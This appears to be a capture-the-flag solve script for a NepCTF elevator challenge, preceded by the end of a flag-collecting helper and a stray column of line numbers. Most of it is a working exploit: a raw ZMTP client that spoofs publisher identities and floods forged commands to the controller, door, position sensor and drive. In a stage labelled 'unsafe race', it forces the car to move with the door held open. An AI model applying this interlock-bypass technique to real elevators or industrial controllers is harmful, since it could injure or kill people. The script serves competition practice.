        # success condition: DOWN across floors with OPEN
        downs = [e for e in events if e[0] == "DOWN"]
        floors_down = {e[1] for e in downs}
        if len(floors_down) >= 2 and any("OPEN" in e[2] for e in downs):
            pr("CROSS_DOWN_OPEN floors", floors_down)
            # keep a bit more for flag
            time.sleep(3)
            tui += drain(ch2, 2)
            break

    # final collect
    out = drain(ch1, 8) + drain(ch3, 8)
    open(WAITF, "ab").write(out)
    open(TUIF, "wb").write(tui)
    plain = strip_ansi(tui).decode("utf-8", "replace") + out.decode("utf-8", "replace")
    flags = re.findall(r"NepCTF\{[^}]+\}", plain)
    for f in flags:
        pr("FLAG", f)
    if flags:
        open(GOT, "w").write(flags[0] + "\n")
        pr("WROTE", GOT)
    # summary motions
    motions = sorted({e[0] for e in events})
    floors = sorted({e[1] for e in events})
    pr("summary motions", motions, "floors", floors, "n_events", len(events))
    open(LOGF, "w").write("\n".join(log))
    for ch, c in ((ch1, c1), (ch2, c2), (ch3, c3)):
        try:
            ch.close(); c.close()
        except Exception:
            pass
    return 0 if flags else 1


if __name__ == "__main__":
    sys.exit(main())

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226

import struct, socket, time

def gai(h,p):
 return socket.getaddrinfo(h,p,0,socket.SOCK_STREAM)[0][-1]
def recv_exact(s,n):
 b=b""
 while len(b)<n:
  c=s.recv(n-len(b))
  if not c: raise OSError("closed")
  b+=c
 return b
def zmtp_greet_recv(s): return recv_exact(s,64)
def zmtp_greet_send(s,socktype,identity=None):
 zg=bytearray(64); zg[0]=0xFF; zg[9]=0x7F; zg[10]=3; zg[11]=0; zg[12:16]=b"NULL"; s.send(bytes(zg))
 meta=b"\x0bSocket-Type"+struct.pack("!I",len(socktype))+socktype
 if identity is not None: meta+=b"\x08Identity"+struct.pack("!I",len(identity))+identity
 body=b"\x05READY"+meta; s.send(bytes([0x04,len(body)])+body)
def zmtp_recv_frame(s):
 flags=recv_exact(s,1)[0]
 if flags&0x02: ln=struct.unpack("!Q",recv_exact(s,8))[0]
 else: ln=recv_exact(s,1)[0]
 return flags, (recv_exact(s,ln) if ln else b"")
def zmtp_recv_msg(s):
 parts=[]
 while True:
  f,d=zmtp_recv_frame(s); parts.append(d)
  if not (f&0x01): break
 return parts
def zmtp_send_frame(s,data,more=False):
 flags=0x01 if more else 0x00
 if len(data)>255: s.send(bytes([flags|0x02])+struct.pack("!Q",len(data))+data)
 else: s.send(bytes([flags,len(data)])+data)
def zmtp_send_msg(s,parts):
 for i,p in enumerate(parts):
  zmtp_send_frame(s,p,more=(i<len(parts)-1))
def connect_pub(host,port,identity=None):
 s=socket.socket(); s.settimeout(5); s.connect(gai(host,port))
 zmtp_greet_recv(s); zmtp_greet_send(s,b"PUB",identity=identity)
 for _ in range(8):
  f,d=zmtp_recv_frame(s)
  if b"READY" in d: break
 return s
def connect_sub(host,port):
 s=socket.socket(); s.settimeout(5); s.connect(gai(host,port))
 zmtp_greet_recv(s); zmtp_greet_send(s,b"SUB")
 for _ in range(8):
  f,d=zmtp_recv_frame(s)
  if b"READY" in d: break
 zmtp_send_frame(s,b"\x01"); return s

def build_bool(instance, field, value=1):
 if isinstance(instance,str): instance=instance.encode()
 if isinstance(field,str): field=field.encode()
 o=bytearray()
 o+=struct.pack("<I",1)
 o+=struct.pack("<I",len(instance)); o+=struct.pack("<I",0); o+=instance
 o+=struct.pack("<I",len(field)); o+=struct.pack("<I",0); o+=field
 o+=struct.pack("<I",0x1E); o+=struct.pack("<I",0); o+=struct.pack("<H",value&0xFFFF)
 return bytes(o)

def build_array5(instance, field, true_idx, cmd=0, typ=8):
 # value: u32 5 + 5 bools + pad4 = 13 bytes (matches pcap length style)
 if isinstance(instance,str): instance=instance.encode()
 if isinstance(field,str): field=field.encode()
 vb=bytearray(struct.pack("<I",5)+bytes(9))
 if 1<=true_idx<=5:
  vb[4+true_idx-1]=1
 o=bytearray()
 o+=struct.pack("<I",cmd)
 o+=struct.pack("<I",len(instance)); o+=struct.pack("<I",0); o+=instance
 o+=struct.pack("<I",len(field)); o+=struct.pack("<I",0); o+=field
 o+=struct.pack("<I",typ); o+=struct.pack("<I",0); o+=bytes(vb)
 return bytes(o)

def send(pub, topic, body):
 if isinstance(topic,str): topic=topic.encode()
 zmtp_send_msg(pub,[topic,body])

def drain_one(s, n=8):
 s.settimeout(0.2)
 last=None
 for _ in range(n):
  try:
   m=zmtp_recv_msg(s)
   if m: last=m[-1]
  except: break
 return last

print("connect")
pos=connect_sub("127.1.0.11",6210)
door=connect_sub("127.1.0.17",6270)
hmi=connect_sub("127.1.0.19",6290)
ctrl=connect_sub("127.1.0.10",6200)
vfd=connect_sub("127.1.0.16",6260)
ib=connect_sub("127.1.0.12",6220)

pubs={}
for name,ip,port in [
 ("interaction_button","127.1.0.12",6221),
 ("elevator_controller","127.1.0.10",6201),
 ("door_operator","127.1.0.17",6271),
 ("position_status_sensor","127.1.0.11",6211),
 ("vfd_drive","127.1.0.16",6261),
 ("hmi_panel","127.1.0.19",6291),
]:
 pubs[name]=connect_pub(ip,port,identity=b"hmi_panel")
 print("pub",name)

def read_floor(body):
 if not body or len(body)<28: return None
 return struct.unpack_from("<I", body, 24)[0]

def read_door(body):
 if not body or len(body)<28: return None,None,None
 # off16 opening?, off20 fully open/closed?, off24 pct
 b16=struct.unpack_from("<I", body, 16)[0]
 b20=struct.unpack_from("<I", body, 20)[0]
 pct=struct.unpack_from("<I", body, 24)[0]
 return b16,b20,pct

def snap(tag):
 pb=drain_one(pos,12); db=drain_one(door,12); hb=drain_one(hmi,12); cb=drain_one(ctrl,8); vb=drain_one(vfd,8)
 fl=read_floor(pb); d=read_door(db)
 print(tag,"floor",fl,"door",d,"pos",pb.hex() if pb else None)
 print("  doorhex", db.hex() if db else None)
 print("  hmi", hb.hex() if hb else None)
 if hb and b"NepCTF" in hb: print("FLAG",hb)
 return fl,d,pb,db,hb

snap("idle")
# determine floor
fl,d,pb,db,hb=snap("idle2")
if not fl or fl<1 or fl>5:
 fl=3
print("using floor", fl)

# Phase1: call CURRENT floor many ways to open door
print("call current floor", fl)
t_end=time.time()+5.0
while time.time()<t_end:
  # interaction button request car array
  send(pubs["interaction_button"],"cmd/interaction_button/", build_array5("interaction_button_instance","bRequestCar",fl,cmd=0,typ=8))
  send(pubs["interaction_button"],"cmd/interaction_button/", build_array5("interaction_button_instance","bRequestCar",fl,cmd=1,typ=8))
  # bool styles
  send(pubs["interaction_button"],"cmd/interaction_button/", build_bool("interaction_button_instance","bRequestCar",1))
  send(pubs["interaction_button"],"cmd/interaction_button/", build_bool("interaction_button_instance","bRequestCar[%d]"%fl,1))
  # hall at current
  if fl<5:
    send(pubs["interaction_button"],"cmd/interaction_button/", build_array5("interaction_button_instance","bRequestHallUp",fl,cmd=0,typ=8))
    send(pubs["interaction_button"],"cmd/interaction_button/", build_bool("interaction_button_instance","bRequestHallUp[%d]"%fl,1))
  if fl>1:
    send(pubs["interaction_button"],"cmd/interaction_button/", build_array5("interaction_button_instance","bRequestHallDown",fl,cmd=0,typ=8))
    send(pubs["interaction_button"],"cmd/interaction_button/", build_bool("interaction_button_instance","bRequestHallDown[%d]"%fl,1))
  # controller direct
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_array5("elevator_controller_instance","bCarBtn",fl,cmd=0,typ=8))
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_array5("elevator_controller_instance","bCarBtn",fl,cmd=1,typ=0x1e))
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_bool("elevator_controller_instance","bCarBtn[%d]"%fl,1))
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_bool("elevator_controller_instance","bDoorOpenBtn",1))
  # also try pcap-exact val for bRequestCar: 13 bytes
  # raw from earlier sample was zeros - try setting bit for floor
  time.sleep(0.08)

fl,d,pb,db,hb=snap("after call current")

# Phase2: if door not open, try open btn spam + open cmd race vs controller
print("force door open race 4s")
t_end=time.time()+4.0
while time.time()<t_end:
  send(pubs["door_operator"],"cmd/door_operator/", build_bool("door_operator_instance","bDoorOpenCmd",1))
  send(pubs["door_operator"],"cmd/door_operator/", build_bool("door_operator_instance","bDoorCloseCmd",0))
  send(pubs["door_operator"],"cmd/door_operator/", build_bool("door_operator_instance","bDriveEnable",0))
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_bool("elevator_controller_instance","bDoorOpenBtn",1))
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_bool("elevator_controller_instance","bDoorOpen",1))
  send(pubs["interaction_button"],"cmd/interaction_button/", build_bool("interaction_button_instance","bRequestDoorOpen",1))
  time.sleep(0.05)
fl,d,pb,db,hb=snap("after force door")

# Phase3: regardless, try unsafe: keep door open cmds + spoof move
# target move UP if fl<5 else DOWN
motor_up = 1 if fl < 5 else 0
motor_down = 1 if fl >= 5 else 0
print("unsafe race 12s motor_up",motor_up,"motor_down",motor_down)
t_end=time.time()+12.0
n=0
start_floor=fl
while time.time()<t_end:
  # door keep open
  send(pubs["door_operator"],"cmd/door_operator/", build_bool("door_operator_instance","bDoorOpenCmd",1))
  send(pubs["door_operator"],"cmd/door_operator/", build_bool("door_operator_instance","bDoorCloseCmd",0))
  send(pubs["door_operator"],"cmd/door_operator/", build_bool("door_operator_instance","bDriveEnable",0))
  # also try set fully open flags
  send(pubs["door_operator"],"cmd/door_operator/", build_bool("door_operator_instance","bDoorFullyOpen",1))
  send(pubs["door_operator"],"cmd/door_operator/", build_bool("door_operator_instance","bDoorFullyClosed",0))
  # spoof position/vfd closed+drive
  for dev in ("position_status_sensor","vfd_drive"):
    inst=dev+"_instance"; pub=pubs[dev]; topic="cmd/%s/"%dev
    send(pub,topic, build_bool(inst,"bDoorFullyClosed",1))
    send(pub,topic, build_bool(inst,"bDriveEnable",1))
    send(pub,topic, build_bool(inst,"bMotorUp",motor_up))
    send(pub,topic, build_bool(inst,"bMotorDown",motor_down))
    send(pub,topic, build_bool(inst,"bBrakeRelease",1))
  # controller
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_bool("elevator_controller_instance","bDriveEnable",1))
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_bool("elevator_controller_instance","bMotorUp",motor_up))
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_bool("elevator_controller_instance","bMotorDown",motor_down))
  send(pubs["elevator_controller"],"cmd/elevator_controller/", build_bool("elevator_controller_instance","bBrakeRelease",1))
  # keep call at current? and target floor
  tgt = fl+1 if motor_up else fl-1
  if 1<=tgt<=5:
    send(pubs["interaction_button"],"cmd/interaction_button/", build_array5("interaction_button_instance","bRequestCar",tgt,cmd=0,typ=8))
  n+=1
  time.sleep(0.06)
  if n%20==0:
    fl2,d2,pb2,db2,hb2=snap("mid n=%d"%n)
    if fl2 and start_floor and fl2!=start_floor:
      print("FLOOR CHANGED",start_floor,"->",fl2,"door",d2)
    if d2 and d2[2] and d2[2]>0:
      print("DOOR OPEN pct",d2[2])

fl,d,pb,db,hb=snap("final")
print("DONE start_floor",start_floor,"end",fl,"door",d)
if hb:
  txt=bytes([c if 32<=c<127 else 46 for c in hb])
  print("hmi txt",txt)
  if b"NepCTF" in hb: print("FLAGFOUND",hb)